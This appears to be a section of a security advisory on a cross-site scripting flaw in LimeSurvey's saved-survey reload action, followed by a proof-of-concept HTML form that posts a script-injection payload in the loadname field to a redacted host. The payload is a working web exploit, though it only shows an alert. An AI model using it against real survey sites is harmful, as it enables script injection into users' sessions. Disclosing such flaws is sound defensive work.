

1.6 XSS Injection in the reload saved survey action

Vulnerable parameters: **loadname**, **loadpass**, **scid**

```
1 <html>
2 <head><title>poc: XSS Injection (reload saved survey)</title></head>
3 <body>
4 
5 <script>
6   function done() {
7     document.forms["xssme"].submit();
8   }
9 </script>
10 <form id="xssme" action="https://limesurvey.██████████.it/index.php" method="POST">
11   <input type="hidden" name="move" value="movenext" />
12   <input type="hidden" name="sid" value="51928" />
13   <input type="hidden" name="loadall" value="Zwischengespeicherte&#32;Umfrage&#32;
  laden" />
14   <input type="hidden" name="scid" value="xyz" />
15   <input type="hidden" name="loadpass" value="xyz" />
16   <!-- payload --><input type="hidden" name="loadname" value=""><script>alert('XSS
  Injection');</script><input type='hidden' value="" />
17   <input type="submit" value="Submit form" />
18 </form>
19 </body>
20 </html>
```